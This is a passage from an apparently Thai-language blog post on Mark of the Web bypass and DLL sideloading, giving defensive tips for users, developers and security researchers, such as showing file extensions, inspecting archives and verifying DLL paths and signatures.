  • ระวังไฟล์ Archive ที่ผิดปกติ: หากเปิดไฟล์ที่ถูกบีบอัดแล้วเจอไฟล์ .exe เพียงตัวเดียวโดดๆ หรือมีไฟล์ชื่อแปลกๆ ที่ไม่รู้จักแถมมาด้วยโดยเฉพาะ .dllอยู่ข้างๆ ให้ระวังว่าเราอาจจะกำลังตกเป็นเหยื่อของการโจมตีแบบ DLL Sideloading หรือ DLL Proxying

การใช้งาน Advanced Feature

  • เปิดแสดงนามสกุลไฟล์เสมอ: ถ้าเป็นไปได้การตั้งค่า Windows ให้โชว์ นามสกุลของไฟล์ และไฟล์ที่ถูกซ่อนอยู่อาจจะช่วยให้เรามองเห็นพฤติกรรมของการโจมตีได้เช่น มองเห็นไฟล์ .dll ที่ถูกซ่อนอยู่หรือไฟล์เอกสารที่มีนามสกุล .exe ต่อหลัง เช่น Document.pdf.exe
  • ใช้ Software จัดการไฟล์ที่เชื่อถือได้: การเปิดดูเนื้อหาในไฟล์บีบอัดผ่าน 7-Zip หรือ WinRAR ก่อนเสมอจะช่วยให้เห็น File แฝงหรือ File ที่ถูกซ่อนไว้ที่ Windows Explorer อาจมองข้ามไป

หมั่นอัพเดท Software และ Antivirus เสมอ

  • การ Update โปรแกรมอยู่เสมอ ไม่ว่าจะเป็น Program สำหรับอ่านไฟล์ Zip Web Browser ตัว Antivirus และตัว Windows เอง ซึ่งจะช่วยให้ช่องโหว่ที่แอบแฝงถูกปิดไปด้วย โดยเฉพาะช่องโหว่ (CVE) ที่ Hacker อาจจะใช้เพื่อข้ามระบบป้องกันพื้นฐาน เช่น การ Bypass Mark of the Web เพื่อหลอกให้เหยื่อสามารถรัน Malware จาก Internet โดยไม่ได้รับการแจ้งเตือนใดๆ จาก Smart Screen เป็นต้น

Developer Side

ตัวอย่างที่กล่าวมาข้างต้น สะท้อนให้เห็นว่าปัญหาที่แท้จริงเกิดจาก Software ต้นฉบับมีช่องโหว่ที่อนุญาตให้ผู้ไม่หวังดีนำไฟล์ DLL ปลอมไปวางเพื่อทำ Hijacking ได้ ดังนั้นผู้พัฒนาจึงต้องตระหนักถึงความปลอดภัยในส่วนนี้เสมอ

วิธีการแก้ไขที่มีประสิทธิภาพคือการใช้ Hardcoded Path เพื่อระบุตำแหน่ง DLL ที่แน่นอน หรือทำการตรวจสอบ Digital Signature ของ DLL ทุกครั้งก่อนโหลดเข้ามาใช้ เพื่อยืนยันว่าเป็นไฟล์ที่ถูกต้องและป้องกันการโหลด Rogue DLL เข้าสู่ระบบโดยไม่ตั้งใจ

Security Researcher Side

นอกจากนี้ สำหรับผู้ที่ทำงานเป็น Security Researcher ที่ต้องการรายงานช่องโหว่ประเภท DLL Hijacking หรือ DLL Proxying สามารถนำแนวทาง PoC นี้ไปประยุกต์ใช้เพื่อแสดงให้เห็นถึงผลกระทบในเชิงประจักษ์ (อย่างไรก็ตาม การพิจารณารับรายงานนี้เป็นช่องโหว่หรือเป็น CVE หรือไม่นั้น ขึ้นอยู่กับนโยบายและบริบทด้านความปลอดภัยของแต่ละองค์กรเป็นหลัก)


메타데이터
post_id
bce409f53ae1
slug
introduction-to-mark-of-the-web-motw-dll-sideloading-bce409f53ae1
url
https://medium.com/@pat.sanitjairak/introduction-to-mark-of-the-web-motw-dll-sideloading-bce409f53ae1
canonical_url
https://medium.com/@pat.sanitjairak/introduction-to-mark-of-the-web-motw-dll-sideloading-bce409f53ae1
author_url
https://medium.com/@pat.sanitjairak
status
ok
fetched_at
2026-08-23 22:43:35